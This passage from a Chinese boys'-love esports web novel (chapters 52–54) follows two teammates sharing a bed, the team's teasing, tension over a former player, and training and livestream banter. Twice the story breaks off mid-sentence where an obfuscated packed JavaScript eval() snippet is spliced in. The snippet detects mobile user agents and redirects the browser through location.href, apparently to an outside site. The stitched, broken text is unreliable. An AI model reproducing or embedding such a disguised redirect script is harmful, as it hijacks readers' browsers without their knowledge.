廖望延搂着于琰的腰,将鼻梁贴在他侧颈上来回轻蹭,蹭得于琰直缩脖子。廖望延扬起嘴角,“嗯”了一声。 坐在他俩旁边的邵乖早就睁开了眼。他用双手捂着自己的双眼,但手指间的缝隙开得老大,丝毫不影响他偷窥二人的亲密动作且对着他俩连连咂舌。 “不是,你俩到底有什么话需要交颈而谈?有什么事是兄弟们不能知道的?” 廖望延抬起头看着邵乖,直至把邵乖看得直发毛才舍得开口:“私密的事,小孩子不该问的别问,明天我给你买一本十万个为什么。” 邵乖翻了个白眼,说:“我还不稀得听呢,不过你俩能不能在大庭广众之下注意一点?别老像连体婴儿一样。” 于琰把话接了下来:“你赶紧让他离我远点,如果你能让他别再这么贴着我,我愿意用金钱作为报酬。” 邵乖一听有钱挣还真起了兴趣,撸起袖子就想上手。 廖望延看着邵乖的动作微笑了一下,用与表情截然相反的语气威胁他:“你的猪爪子别说是拉我,就算是碰我一下,我都能让你未来一个月活在地狱,不信你就试试。” 邵乖立刻收回了蠢蠢欲动的手,能屈能伸道:“我可不是被你威胁了,我纯粹是觉得你俩这样有益于队友之间的感情交流,毕竟感情越深配合越好,为了咱们整个战队着想我决定支持你们的行为。” 邵乖说罢又看向于琰:“你怎么能拒绝队友的亲切交流呢?你不想进步了?我奉劝你停止自己的危险思想,及时纠正自己的心态,以集体荣誉为首要职责,积极与廖指导进行思想上的深层沟通,以达到你好我好大家好的共赢局面。” 于琰翻了个白眼不再言语。和邵乖对话真的很容易让人变傻,他本来就没多精明,再傻点就更完蛋了。 52.Chapter 52 半夜两点,于琰敲响廖望延的房门,狐疑地问:“我刚想起来,钟络白天说的那话是什么意思?什么叫你不喜欢全新的东西?你从他那买什么二手货了?” 廖望延没想到于琰居然想起了这件事,被吵醒的怨气霎时烟消云散,转而升腾起的是一种孩子大了怎么还不长脑子的诡异无力感。这份诡异中还夹杂着少许的无奈与心虚,另外还夹杂着一丁点的欣慰。 欣慰什么?欣慰自家孩子不内耗,根本听不出好赖话。举个例子,别人骂他铁废物,他还得狡辩说铁不是废物,能卖废品。 廖望延揽着于琰的肩膀往房间里进,将其按在床边坐下,裹挟着稍许困意答非所问道:“睡不着?我搂着你睡?” 于琰瞪他:“废什么话,问你呢,别给我转移话题。” 廖望延不吭声,弯腰抬起于琰的小腿,扒拉下他脚上的两只拖鞋,直起身子后又抬手抓住自己睡衣的下摆,向上一翻脱去T恤,顿时变成了裸着上半身的状态。 于琰见状往床中间退,戒备地看着廖望延。 “你想干嘛?” “有什么事等白天再说,现在是美容觉时间。” “……???” 还没等于琰从床的另一侧逃走,廖望延就蹬掉拖鞋翻身上床,他伸着长臂揽住于琰,肘弯卡在于琰侧腰,稍一用力二人就顺着惯性倒下。 于琰挣扎着想挣脱桎梏,奈何他腰上勒着的不像是手臂倒像是几寸粗的铁环,挣脱不开他怒极开骂:“你他妈哪来的臭毛病要搂着人睡觉?赶紧把你爹松开,不然我一个360度托马斯回旋把你踹到西伯利亚搂着熊睡!” 廖望延才不惧于琰这副色厉内荏的姿态。他弓着腰从于琰身后侧卧着,有意将二人身体中间留出一丝缝隙,奈何于琰压根没这个意识,还在不停地蠕动,蹭得廖望延都快起火了。 廖望延只好用额头不轻不重地撞了一下于琰的后脑勺,箍着于琰腰的左手也掐了一下他的软肉:“睡觉,明天给你解释。” “谁他妈不让你睡了?你倒是撒手让我走啊!” “你自己送上门的,快递上门哪有不接的道理?” “廖!望!延!” “别闹,乖一点。”廖望延阖上眼,将脑门抵在于琰后颈上,“明天给你买早饭,想吃什么?” 于琰还在乱动的身体忽地安静了下来,他感觉自己被贴着的那一小块皮肤有点火烧火燎的。 于琰这人,说好听是注意力集中,干什么都聚精会神,说不好听就是脑子只能单线程工作,那颗瓜子仁大小的脑花里只能允许存在一件待办事项,但凡出现了别的事,前一件事就会以光速被于琰抛掷脑后。至于没办完的事要什么时候才能重新提上日程,那就得看老天爷什么时候让他短时间内脑容量暂时扩容了。 对着虚空连眨了两下眼后,廖望延没被托马斯回旋踹到西伯利亚,但于琰原本的思路倒是直接被带偏到西伯利亚了。他从脑子里转了一圈基地附近的早点铺子,好一番天人交战后才决定了明早的御膳:“油条、豆腐脑。” “行,喝不喝豆浆?” “喝,要红枣的。” “再给你买两个麻团?” “一个吧,吃多了有点腻。” “今天看你吃了不少阿姨做的芥末虾球,明天我再让阿姨给你做点?” “好啊,让她少放点芥末,今天放的有点多,呛鼻子。” “你今天蛇女玩的不错,明天再练两把,没准以后上赛场能当counter位。” “那是,我的英雄池深似海。” “……” 廖望延为了转移话题打起了十二分的精神,他抛出的话题没有锚点,想到什么说什么,中间没有任何的关联性,从开头的买早餐到后面的聊人生,成功让于琰忘了半夜过来的初衷。 廖望延知道于琰沾枕头就着的优渥睡眠质量,但前提是后者得从精神到身体都处于安静状态,就冲刚才于琰一通挣扎的那个精神劲,要是不采取措施,廖望延真能被他扰得一晚上睡不了。 果不其然,话题从日常琐事延申到人生哲理时,因着后者的枯燥无趣,于琰的回应开始肉眼可见的慢下来。 又过了七八分钟,廖望延抛来的话题于琰几乎要过十来秒才能有回应,口齿也开始不清晰,廖望延竖起耳朵才能将将听清他在说什么。 又过了五分钟,于琰已经对外界的声音没什么反应了,廖望延悄悄松开箍在他腰上的手臂,又将自己的身体往后缩了缩,额头也不再抵着于琰的后颈,二人之间的距离拉开到足以横放一条小臂的宽度。 借着月光,廖望延目光沉沉地看着于琰那颗浑圆的后脑勺。许是白天与钟络的对峙过于恶心,他忽然从心里生出一种不管不顾直接跟于琰摊牌的冲动。 听着于琰平缓的呼吸声,那种冲动愈发强烈,但廖望延又用理智生生压住。 不知过了多久。 “于琰。”他轻唤。 过了半分钟,回应他的是一声似有若无的“嗯?” 声音从于琰的后鼻腔发出来,带着半分温顺,就像楼下那只狗在进食时发出的轻微哼声一样,听得廖望延心头微颤。 廖望延重新伸出手臂,这次他将于琰搂进怀里,胸膛贴着后背,已无距离可言。 他哑着嗓子轻声问—— “换个关系行不行?不做朋友,也不做队友。” 廖望延静静等着,却始终没等来怀里人的回应。 感受着手臂间轻微的呼吸起伏,他将脸埋进于琰枕着的那只枕头,于琰的头发贴在他的侧脸,他用小到近乎于无的声量自言自语:“不说话我就当你答应了。” 似乎是姿势有些不舒服,于琰无意识地往前挪,挣脱了那聊胜于无的圈禁。 廖望延坐起身,从脚下把被子拽上来,将于琰从脖子往下都盖上薄被,自己则是坐在床边点了根烟。 昏暗的房间里除了月光就只剩烟头炽热的一点,廖望延将烟灰缸放在大腿上,垂眼看着那点猩红。 他有些后怕,不知自己刚才怎么就让冲动战胜了理智,真的问出了那句话。幸好于琰早已睡着,不然如今摆在他面前的就是非黑即白的单选题,他就再也无法再借着队友与兄弟的名义与于琰日日相处。 幸好。 几分钟后,廖望延蹑手蹑脚地重新钻回被窝,他平躺着直视半空,嘴唇蠕动间低声回答于琰来时的初衷:“不喜欢全新,也不喜欢二手,我什么都不喜欢。” “我只喜欢你。” - 早晨。 天刚蒙蒙亮廖望延就自然醒了,他垂眼看着窝在自己怀里的于琰愣神。 于琰确实有这么个毛病,睡觉时候必须得抱点东西,不然就睡不踏实,但廖望延房间里没有多余的玩偶或者抱枕可供他抱,所以他无意识间就搂上了会自己恒温的某具身体。 于琰的额头贴在廖望延锁骨上,胳膊挂在他的侧肋,腿也不安分的搭在廖望延大腿上,二人几乎是以一种过分亲密的姿态在相拥。 廖望延就这么愣了半晌。 高兴自然是高兴的,但当下最要紧的事,是他觉得自己腹下三分有点要着火的意思。 廖望延忙不迭地从于琰怀里撤出,用被子将其盖严实,于琰哼唧了两下,翻了个身背对着他继续沉沉睡着。清醒的人揉了揉自己的眉心,转身进了浴室。廖望延没有洗晨澡的习惯,一般都是跑步回来后再洗,但今天的状况明显有点出乎他的预料。 平常十分钟能洗完的澡,今天被硬生生延长了半小时。 从卫生间里换好衣服,廖望延轻手轻脚地拉上窗帘才出门。他下楼时将手表挂在腕上,定睛一看,才刚六点半。 等他拎着早餐慢跑回来,时间也才刚要到八点。 从餐厅里喝了杯温水,顺手给贱狗添好粮食,廖望延嘴里叼着油条拧开自己的房门把手。 出去什么样回来什么样,于琰还保持着那个姿势睡着,廖望延将塑料袋放在于琰那侧的床头柜上。 “儿子?” 廖望延用食指顶在于琰的眉心,轻推了推。 于琰毫无反应,连眉头都没皱一下。 廖望延重复了几遍这个动作,确认于琰是真醒不了后叹了口气直起身子,边往卫生间走边脱衣服,十分钟后裹着水汽重新出来。 看于琰变成侧卧面对着自己的睡姿,廖望延挑了挑眉头,忽然从脑子里冒出了个不要脸的想法。 他套上睡衣钻回床上,轻轻抬起于琰的小臂挂在自己腰上,又将脚尖塞进于琰小腿的缝隙中,将他的右腿抬到自己膝盖窝处,随后大掌盖上于琰的后脑勺,让他的脸埋进自己肩窝。 完美复刻早上六点的姿势。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931684|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时后,于琰悠悠转醒。 他被闷得有点喘不过气,伸手想推开面前的东西却没推动。没等他琢磨出个所以然,这东西就自己动了一下。 于琰往后一缩睁眼一看,廖望延正支着胳膊面无表情地看着自己。 “睡得挺好?”廖望延问。 于琰这才发现,自己刚才推的正好是廖望延的胸口。 夭寿了! 他猛地坐起来,低头看了看自己的穿着,确认衣服裤子都穿得很紧实才松了口气。 “你他妈大早上就占我便宜?”于琰一开口就是国粹。 廖望延也坐起来,故作冷脸用眼神跟于琰打架:“恶人先告状?刚才谁摸我胸?谁睡觉搂着我不撒手?” “你放狗屁!” 廖望延知道于琰睡醒就要不认人,胳膊直接往枕头底下一伸,掏出手机、面容解锁、打开相册、放出视频。 于琰就这么眼睁睁地看着手机里的自己搂着廖望延不撒手,不止不撒手,在廖望延推自己的时候自己还恬不知耻的往上凑! 在心里大喊了三遍丢人,于琰猛地扑过去要抢手机删视频,但廖望延怎么可能允许。 二人抢的正激烈时,门突然被外力拧开,刘国柱的声音伴随着脚步声传到二人耳朵里。 “Mesh,你怎么还不……”刘国柱的话突然截止,目瞪口呆地看着床上,愣了两秒后才将刚才的话接上,“……下来吃饭。” 眼瞎了眼瞎了眼瞎了!要死了要死了要死了!好想跑好想跑好想跑!刘国柱在心里狂骂,脸上的表情也不受自己控制。他就这么嘴角微抽地看着一上一下叠坐在一起的自家中单和打野。 于琰忙跟刘国柱解释:“不是!柱子!不是你看到的这样!这是有原因的!你听我说!” 刘国柱用手捂住眼,一步步摸着墙往后退,边退边喃喃:“一会我就去医院做视力检查,这一眼足以让我的视力从5.2变成4.2。” 于琰从廖望延身上翻下来,追出门去和刘国柱解释。 屋内重新回归安静。 等廖望延换完衣服下楼时,餐桌上形成了一种1v5的局面。餐桌左侧从左到右分别坐着左星水、Nap、刘国柱、老姚、邵乖,而餐桌右侧只有穿着睡衣的于琰一人。 此时坐在左侧最中间的刘国柱正和其余人讲述刚才的情景。 刘国柱:“你们是不知道那个画面有多离谱。” 邵乖:“有多离谱?” 刘国柱:“离谱他妈给离谱开门,离谱到家。” Nap:“请详细阐述。” 刘国柱:“我轻轻拧开门把手,听见咔哒一声轻响,踱步走进Mesh的卧室……” 于琰:“闭嘴!!!” 左星水:“小琰,躲得过初一躲不过十五。” 刘国柱:“承接上文。我走进Mesh的卧室,本意是为了叫他吃饭,但没想到,映入眼帘的却是于琰坐在Mesh的腿上,脚尖还从里向外勾着Mesh的小腿,于琰一只手抓着Mesh的手腕,另一只手放在Mesh的胸上。” 于琰:“你放狗屁!我那是为了抢他的手机!为了借力把手搭在他肩膀上!怎么到你嘴里就成了放他胸上了!” 老姚:“于琰闭嘴!老刘继续!” 刘国柱:“看见我以后,于琰的脸一下子红到耳朵根,我不跟你们开玩笑,他脸红真是一瞬间的事,嗖的一下就红透了。我也知道是我打扰了他们,只能捂着眼睛往后退,生怕再看见什么不该看的。” 听完情景描述,于琰被众人用眼神谴责,谴责内容大概是……强迫自家打野,情节过于恶劣。 廖望延就站在于琰身后听着他无力地辩驳。 “我确实是坐在他腿上……不是,呸,我他妈那个动作是为了压制他,你们也知道他力气有多大,我不用那个姿势我能控制得住他吗?他偷拍我睡觉视频,我只是为了把手机抢过来然后把视频删掉,就这么简单!”于琰崩溃地解释道。 邵乖抓住了这段话里的重点:“所以Mesh为什么能拍到你的睡觉视频?” 于琰咋回?于琰没法回。他吭吃瘪肚了十来秒也没说出一个字,廖望延看他憋得太费劲,轻描淡写地替于琰回了:“昨天一起睡的。” 邵乖、Nap、左星水、老姚、刘国柱:“什么?!一起睡?!” 53.Chapter 53 这六个字可捅了贼窝了,于琰忙不迭地解释:“睡在一起是有原因的,我是想问他钟……” 还没等于琰把话说完,廖望延就把他的嘴捂上了。 看着震惊到五雷轰顶的众人,廖望延自然地接话:“他是想说,他终于意识到了对我的友情变质成了爱情,思虑再三决定半夜来找我告白。” 于琰被捂着嘴说不出话,只能朝众人拼命摆手,想表达出自己不是这个意思的意思。 但没用,其他人似乎都信了廖望延的话。 刘国柱:“没想到啊于琰……一个钟络不够,你又要祸害自己的发小,你这兔子天天就靠着吃窝边草过活啊!” 邵乖:“我这次真信了你是容陷爱体质。” Nap:“能不能让Mesh永远留在HG就看你的枕头风了,加油。” 左星水:“肥水不流外人田,小琰干得漂亮。” 老姚:“什么意思?我真要穿着内裤绕基地跑圈了?” 于琰用力扯下嘴上的手,还想拯救一下自己那即将逝去的名声:“真不是!我是说钟……” 廖望延眼疾手快地复刻刚才的操作,又拧着于琰的脑袋递给他一个威胁的眼神,继续和吃瓜众人说:“他想说终于意识到了我的好,幸好还没错过我,不然就要抱憾终生了。” 廖望延这么做的本意不是为了逗于琰,他只是觉得昨天见钟络的事没必要和队友们说,毕竟钟络这个名字出现在基地的空气里他都嫌脏。 所以,就小小的委屈一下于琰吧。 风评被害的于琰气得直咬廖望延的手指头,后者也不嫌疼,权当自己的手指头客串一天犬用磨牙棒。 总得让于琰把脾气发出来,不然下午训练又要给自己甩脸子。 于琰此刻无比希望自己是个聋子,这样就听不见廖望延把自己的名声扔到地上发出的破碎声了。 廖望延:“你们不用太担心,于琰也不是那种分不清主次的人,春季赛就快开打了,等他能拿下春季赛第一我才会给他追求我的资格。” 刘国柱:“Mesh,一定要守住自己的清白啊!” 廖望延:“一定一定。那诗怎么写的来着?粉身碎骨浑不怕,要留清白在人间!” 于琰:“……” 邵乖:“好诗!于琰这种阴沟里的老鼠竟敢觊觎延哥,其罪当诛!” 廖望延:“他只是犯了全天下男人都会犯的错,唉,也怪我,怪我这副皮囊长得太好,竟滋生了于琰的贪念。” 于琰:“……” 老姚:“Mesh,以后晚上睡觉锁好房门,谁敲也别开,我怕于琰霸王硬上弓。” 廖望延:“我会的,姚哥别担心,我相信于琰也不会只要我的身子不要我的心。” 于琰:“……” Nap:“延哥,下午训练的时候你和我换个位置吧,我怕于琰坐你旁边占你便宜。” 廖望延:“没事,无非就是摸下手捏下肩,为了战队的未来我受点委屈不算什么。” 于琰:“……” 左星水:“Mesh,有事就打110。” 廖望延:“会的,必要时候我会采取强硬手段阻止于琰的强迫行为。” 于琰:“……” 于琰越听越平静,他眼前一黑,感觉自己未来的光明之路已经不复存在,取而代之的是一条杀了廖望延分尸冲进下水道被逮捕后宣判吃枪子的黑暗之路。 轻轻撒口,掰下廖望延的手,于琰沉默地起身,转身上楼,明明身着轻便的睡衣,但那副姿态足以比肩古代重刑犯带着枷锁镣铐上刑场的模样。 从于琰的固定座位坐下,廖望延听着沉重的脚步声消失,还是和其他人解释了一下:“刚才和你们开玩笑呢,别当真。” 左星水点了点头:“知道,不过于琰到底想问你钟什么?” 廖望延用于琰的筷子夹了口菜送进嘴里,这么一闹腾,午饭都凉了不少。 “没什么。” 看出廖望延不想提,大家都想着不再多问,反倒是老姚嗅出了些味道:“DL比赛、后台卫生间、于琰、你、钟,我要是没猜错,昨天后台你俩遇见钟络了吧?” 廖望延夹菜的手顿了一下,抬眼看着老姚,随即扬了扬眉。 他没说是也没说不是,但姿态足以告诉所有人,老姚猜对了。 老姚:“说吧,昨儿都说什么了,别让我跟挤牙膏一样挤你嘴里的话,了解选手动态是我和老刘的责任之一。” 既然被猜到了,廖望延没再撒谎,实话实说道:“也没什么,他俩卫生间遇见了,有点小冲突,我感觉情况不对就先把于琰轰走了,他凌晨来我房间就为了问我和钟络都说了什么。” 邵乖接话问:“那到底说啥了?” “无非还是之前情情爱爱那些事,钟络放不下,看于琰放下了又有点不甘心,就这么简单。” 廖望延删减了很多内容,但大纲版也足够忽悠在场这些人了。他不会把所有细节都说出来,那些对话只会存在于他和钟络两个人的记忆里,永远不会被第三个人知道。 刘国柱叹了口气:“当初他自己提出要走,我留也留不住,现在又搞这些事,真不知道他图什么,还好于琰拎得清,不然我得多闹心。” 老姚:“Mesh,以后如果再遇见这种情况不用给钟络留面子,直接轰走,别让他影响于琰。” 刘国柱疑惑地看老姚:“从钟络要挂牌走人的时候我就觉得你对他有意见,他怎么惹你了?” 老姚面无表情:“没怎么,只是单纯感觉和他相处的两年像是假的,他变得太快,让人容易戒备。” 邵乖用筷子当作话筒,递到老姚面前,装作自己是小报记者:“小邵说事栏目即将播出,接下来请我们的当事人姚先生仔细剖析一下内心深处。 ” 老姚翻了个白眼,但还是就着邵乖那只筷子话筒开始解释。 他唠唠叨叨说了半天,把钟络消失一天后被他逮到的对话和众人情景再现了一遍。 刘国柱:“早知道这样当初就不该放他走,干脆雪藏他一年得了。” 廖望延没搭话,快速填饱肚子后他拿了两个碗,一个盛菜一个盛饭,捧着两个碗边走边说:“我给于琰送饭,你们继续吃,别因为已经走了的人影响食欲。” 于琰从房间里生了半天闷气,刚想厚着脸皮下楼吃饭,听见门口的动静又重新窝回床里。 廖望延把两个碗放在床头柜,盯着于琰的后脑勺。 “吃饭。” “……” “还生气呢?” “……” “他们知道是开玩笑,没人当真,你真当他们三岁小孩呢我说什么他们就信什么?” 于琰一听,压下去的心火顿时又蹿上天灵盖,他猛地坐起来瞪着某个不要碧莲的人:“滚!” “不滚。” 廖望延从床边坐下,面对于琰的怒目圆瞪丝毫不见紧张。 于琰也懒得废话,天大地大吃饭最大,闹腾这么一通他早就饿得前胸贴后背了。 等炫完饭,于琰把碗往床头柜一砸,力度之大像是巴不得把碗砸碎,他抹了把嘴:“说吧,钟络昨天那话到底什么意思?” 廖望延皱了下眉。 以于琰现在的状态,他要是再敢顾左右而言他,可能就要挨打了,但他又不想实话实说。 “他没离队的时候我从他那买了个二手鼠标。” 于琰冷笑一声:“放狗屁,就你那个死洁癖的劲儿会买他的东西?别说买,你连碰一下都得用酒精湿巾擦三遍手。” “真的,现在还收在我抽屉里呢。” “抽屉里是吧?行,我现在就跟你回去,钟络用过什么鼠标别人不清楚我还能不清楚吗,我倒要看看你是真买还是假买。” 于琰现在睡醒了吃饱了,智商也占领高地了,说完就要拉着廖望延去求证,一副要是你敢骗我我就让你看不见明天太阳的架势。 廖望延拧了拧眉心,无奈道:“他那种人说的话你还真挺上心,非给自己找不痛快是吧。” 于琰闻言插腰,抬起下巴:“老子就爱给自己找不痛快。” 廖望延也没辙了,只好坦白:“他觉得我在你俩没分手的时候就介入你俩感情,说我不要脸,说你二手货,满意了?明白了?” 于琰一脚踢向旁边的垃圾桶:“他是真他妈有病。” “非得问,问了你又不高兴,你说你非得给自己添堵干什么。” “你别管,老子就是贱得慌。”于琰想了想,又问,“所以你昨天和钟络单独聊的那十多分钟都聊什么了?” 廖望延翻了个白眼:“差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951357|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多得了,要不以后往我肩膀上放个针孔摄像头吧,省得你问个没完。” 于琰瞪眼:“你很急?你越急我越得知道。” 廖望延惹不起但躲得起,拿上床头柜的空碗就开溜:“好好表现,等我对你的成绩满意了就告诉你。” “廖望延,你真是一只纯种带证书的狗。” “谢谢你夸奖我的纯正血脉。” “滚!” 于琰到最后也没能得知厕所会面的后续,廖望延不想说的话任谁也撬不开嘴,他只好作罢。 廖望延也因为隐瞒而成功得到了于琰好几天的冷脸。 一周后。 HG没再关注德杯后续赛况,毕竟除了DL之外所有强队都是用二队在打德杯,整体分析性并不算很高。 虽说当时DL打的是RT这种弱队,但他们较高的配合度还是让HG感受到了一丝丝的威胁性,所以自那天德杯观赛后,众人都开始了高强度rank。 之前众人都维持着八小时训练时间的强度,如今却自发变成了下午两点开训,一直练到后半夜才会陆续回房。 训练时间由底到高分别为Nap-左星水-邵乖-廖望延-于琰。 众人都发觉,自那日德杯观赛后,于琰就和吃了兴奋剂一样,对训练报以极高的热忱,甚至主动问老姚有没有约训练赛,导致老姚狐疑着摸了摸他的额头,以为他发烧说胡话了。 只有廖望延知道,于琰是憋着一股子劲想在春季赛对上钟络时发泄。 “差不多了吧?两点半了,你还不准备休息?” 廖望延皱着眉看于琰,此时训练室里只剩他们两人了。 于琰随口答:“再打两把,你困了的话先去睡吧,我四点就走。” 廖望延“啧”了一声,伸着胳膊去抓于琰的鼠标,把他的排队取消。 于琰不满地问:“有病?” 廖望延起身,将二人的电脑都关掉,拽着于琰的胳膊就要走:“现在没病,但再这么练下去你没准就得得病了,这种强度对你身体不好。” 于琰从钳制中挣脱,又按下开机按钮,眼睛盯着屏幕回:“你别管,快春季赛了我得多练练,不然到时候怎么把钟络打的跪下叫爹?” 廖望延也不惯着于琰,直接伸手把主机和显示屏的插头拔了,他拖着于琰的电竞椅就往门口走。 “老子刻苦训练你也不让啊?!我要举报你影响队友训练!” “你举报吧,举报了我也这么干,咱俩看谁犟得过谁。” “廖!望!延!” “你爹在此。你小点声说话,真当自己是村口大喇叭成精了?你不睡觉别人也不睡?有没有公德心?” 于琰拽着门框不撒手。他真不困,有回去睡觉的时间他还想再rank两把呢,不为别的,就为了在赛场碾压钟络出口恶气。再说了,现在睡那么多有什么用,死了以后能一直睡,他必须得把握一切时间提升自己。 廖望延垂着眼看于琰,几秒钟后把椅子往屋里一推:“你回去打吧。” 于琰都做好了和廖望延一战到底的打算了,没按照剧本发展他反倒有点懵:“真的?” 廖望延点头:“真的,你去吧。” 于琰乐乐呵呵地坐在电竞椅上往屋里蹭,还没等椅子滚轮划出一米远,背后就传来声音。 “你今天敢开这个机,明天你搂着我睡觉的视频就会被几十亿网友看见,你打吧,好好打,等你明天睡醒世界就变天了,好好享受这最后一晚的快乐。” 于琰震惊地扭头:“你还要不要脸了?” 廖望延倚在门框,冷眼与他对视:“我要不要脸不重要,得看你想不想要脸。” “算你狠!”于琰咬着牙说。 “so?” 于琰摔摔哒哒地把椅子放回位置前,又心不甘情不愿地跟在廖望延身后上了楼。 到了于琰房间门口,廖望延瞥了于琰一记眼刀,以命令的口吻下达指令:“今天有点晚了,明天允许你照常下午两点开始训练,但是结束必须在12点以前。从后天起,每天上午九点起床开始训练。” 于琰梗着脖子拒绝:“我不。” 廖望延打了个哈欠:“我没问你行不行,我是在通知你,你可以不主动响应,但我会用强势手段逼你听话,有种你就跟我对着干。” 54.Chapter 54 于琰胳膊拧不过大腿,被廖望延用强硬手段逼着开始早起训练,开始的时候他还百般推拒,习惯了几天以后倒也没那么难以接受了。 “有没有觉得上午的空气都是新鲜的?”廖望延问。 于琰打着哈欠按下主机箱的开机键,将廖望延的话自动过滤。他现在对后者完全秉持着一种打不过就忽视的战略部署,这老狗比每句话都蕴含深意,一个不小心就可能掉坑里,少说少错。 “说话,哑巴了?”廖望延伸手拧于琰的脑袋,将后者正呆滞着看显示屏的双眼拧到和自己对视,眉梢微挑,“都一礼拜了,门外面那只贱狗都习惯定时吃饭了,你还没习惯定时起床?” 于琰一听顿时火冒三丈:“老子是人!活生生的人!之前的生物钟一直都保持在中午醒半夜睡的电竞宅男!不是你这种自律到已经有点神经病的物种!你少拿我和大帝比!它一天睡觉的时间比我醒着的时间还长!” 字字泣血,句句咆哮。 “你看,说我两句不就精神了,现在还困吗?”廖望延笑着看于琰,松开放在他头顶的手,将咖啡放在他面前,“喝两口,一会玩两把小炮中单,昨天你被单杀了两次,我得看看你的问题点。” 于琰真要被廖望延这种高强度训练方式搞自闭了,早起就已经很令他痛苦了,身边还坐着一个全自动电子侦察教练更是让他痛苦加倍。 不过这种教导主任盯学生的训练方式也确实让于琰以肉眼可见的速度在成长,至少在这半个月里老姚几乎没怎么用笔记本拍过于琰的脑袋,反倒是还夸了于琰好几次。 廖望延忽地眼神扫到了电脑桌面上的直播软件,问于琰:“对了,这都20多号了,你直播时长还差多久?” 于琰一听这话,猛地想起自己又将近一周没打开的直播,他迅速取消排队,点开了桌面上的喵喵直播,看着以飞速飙升的直播间人数舒了口气。 “你要是不说我又忘了,干脆今天开一天得了,不然月底又得补时长。” 廖望延轻嗤:“没你爹你还能记得住什么?” 直播间水友一进来就听见于琰和廖望延的斗嘴,弹幕数量开始飙升。 【幸亏是周末,不然早八人根本没空看直播。】 【于琰居然早上九点多就开直播了?我怀疑他被夺舍了。】 【就是这个味,一天听不见Mesh的阴阳怪气就感觉少了点什么。】 【老公!今天记得吃苹果!!】 【自从Mesh来了HG,感觉大家的直播时间都早起来了,原来这就是良性循环。】 于琰一边排队一边看水友们的弹幕,看见那条吃苹果的还愣了一下,瞄了一眼屏幕右下角的日期,这才想起今天居然都平安夜了。 “欸,老狗比,知道今天什么日子吗?” 廖望延边排队边玩手机,听见这话又开始口嗨:“什么日子?咱俩的结婚纪念日?还是咱俩的定情日?” 【???】 【一进直播间就听见定情日……把狗粮当早饭塞我们嘴里是吧!】 【你俩果然有一腿,我真是慧眼识基!】 【什么时候办的席?结婚了都没告诉哥们们?把我们当外人?】 于琰一巴掌拍掉廖望延手里的手机,抓着他的头发指着屏幕右下角:“定个锤子情!睁开你的狗眼看看!今天平安夜!” 廖望延眼神一聚焦,“啧”了一声,拍开自己头上的爪子,懒散道:“平安夜想邀我共进晚餐?既然你这么主动,我就给你这个面子好了。” “谁要邀你共进晚餐了?你是不是有什么钟情妄想症?” “不然你特意告诉我今天平安夜干什么?不就是暗示我吗?” “你是不是疯了?你要是没睡醒的话我建议你现在立刻关机上楼。” “暗示我上楼赶紧挑一套适合出门赴约的衣服?太早了点吧,就算你很期待也用不着这么急躁啊。” “我期你二大爷!” “什么?这就想跟我回家见家长了?于琰,虽然咱俩认识这么多年,但是该有的步骤还是得一步步来,咱俩得先有名分再约会最后才是见家长,你就算喜欢我也不能这么明显吧,你直播还开着呢,让别人听见了会觉得你是个很没深沉的人。” “廖望延!你又想挨打了是吧!” 于琰本来都排齐队友了,却因为他长时间没点确定按钮而取消排队。他现在压根没空管什么排队不排队,满脑子都是今天必须要给廖望延一个教训,让他知道知道什么叫祸从口出。 至于直播……直播是什么?不重要。 水友们一边听着晨间相声,一边在弹幕上和陌生水友打斗地主和麻将。右下角摄像头只能照到一座孤零零的电竞椅,至于它的主人,早就脱离了摄像头拍摄范围。 “于琰,投怀送抱是吧?” 一顿叮铃咣啷。 “于琰!再动手我可不客气了!” 叮铃咣啷x2。 “于琰,我疼~” 叮…… 听见廖望延喊疼,于琰狐疑地停下手里的动作。此刻他一条腿直立,另一条腿单膝跪在廖望延□□的椅面上,他一手钳制住廖望延的手腕,另一只手掐着廖望延的腮帮子。 于琰手上的力度微收,皱着眉问:“哪疼?” “手疼,你手劲太大,捏得我腕骨疼。”廖望延甩了甩脑袋,将脸上的手甩掉,然后一头扎进于琰胸前,“我天天高强度训练手腕负担本来就重,你还这么捏我,真把我捏出病我就得赖你一辈子了。” “装!你就装吧!我都听出来你马上就要憋不住笑了!” “真疼~” “你手疼就手疼,往我怀里扎什么?!” 直播间的水友听见对话默契的停下了斗地主,安静了一瞬后又开始爆发新一轮的弹幕热潮。 【不是?喂?这到底是什么直播间?】 【有没有付费点歌功能?我想给主播和他老公点一首今天你要嫁给我。】 【这股子恋爱的酸臭味真是要熏死我了!我要报警!有人投放毒气弹!】 【Mesh!把你的头从我老公怀里拿出来!那是我的位置!】 【老子是来学技术的,结果技术没学到,反倒学会了怎么谈恋爱。所以有没有人借我一个胸膛让我钻一钻???】 弹幕说了什么根本无人理会,毕竟此刻直播间的主人压根不在电脑前。 于琰和廖望延谈判了半天,最后以帮廖望延按摩手腕半小时为代价双方和平休战。 其实廖望延还真有点不舒服,但并不是手疼,而是没吃早饭饿得有点难受。 看于琰重新开始排队,廖望延去厨房化身了一把贤惠小厨郎。他烤了四个面包片,又煎了两个蛋两根香肠,最后倒了两杯牛奶,抱着盘子和杯子重返训练室。 把盘子放在于琰桌子的空处,廖望延咬着面包片看于琰选英雄,看他听话的选了小炮才低下头安心吃饭。 